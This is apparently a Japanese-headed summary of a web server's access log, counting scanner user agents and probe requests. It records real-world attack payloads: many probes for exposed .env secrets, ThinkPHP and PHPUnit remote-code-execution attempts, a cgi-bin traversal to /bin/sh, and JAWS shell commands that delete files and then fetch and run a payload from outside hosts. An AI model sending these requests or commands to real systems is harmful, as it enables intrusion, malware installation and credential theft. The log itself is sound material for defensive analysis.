33 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
32 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 zgrab/0.x
2 curl/7.81.0

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_13.67.44.234_80
1 \x16\x03\x01\x01D\x01
2 \x16\x03\x01
33 GET /.env HTTP/1.1
1 GET /13.67.44.234/.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /LmieBhRExD8pIuaXOZ9sVP7Hoke HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /api/.env HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /app/config/.env HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /audio/.env HTTP/1.1
1 GET /backend/.env HTTP/1.1
1 GET /base/.env HTTP/1.1
1 GET /blog/.env HTTP/1.1
1 GET /cgi-bin/.env HTTP/1.1
1 GET /conf/.env HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /crm/.env HTTP/1.1
1 GET /database/.env HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /laravel/.env HTTP/1.1
1 GET /library/.env HTTP/1.1
1 GET /local/.env HTTP/1.1
1 GET /new/.env HTTP/1.1
1 GET /newsite/.env HTTP/1.1
1 GET /old/.env HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /protected/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ rischyo.cf/jaws;sh+/tmp/jaws
1 GET /shell?cd+/tmp;rm+-rf+*;wget+networkmapping[.]xyz/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /sites/all/libraries/mailchimp/.env HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /src/.env HTTP/1.1
1 GET /storage/.env HTTP/1.1
1 GET /vendor/.env HTTP/1.1
1 GET /vendor/laravel/.env HTTP/1.1
3 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /w00tw00t.at[.]ISC[.]SANS[.]DFind:) HTTP/1.1
1 GET /wp-admin/.env HTTP/1.1
1 GET /wp-content/.env HTTP/1.1
1 GET /www/.env HTTP/1.1
2 GET http[:]//example[.]com/ HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
3 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 PRI * HTTP/2.0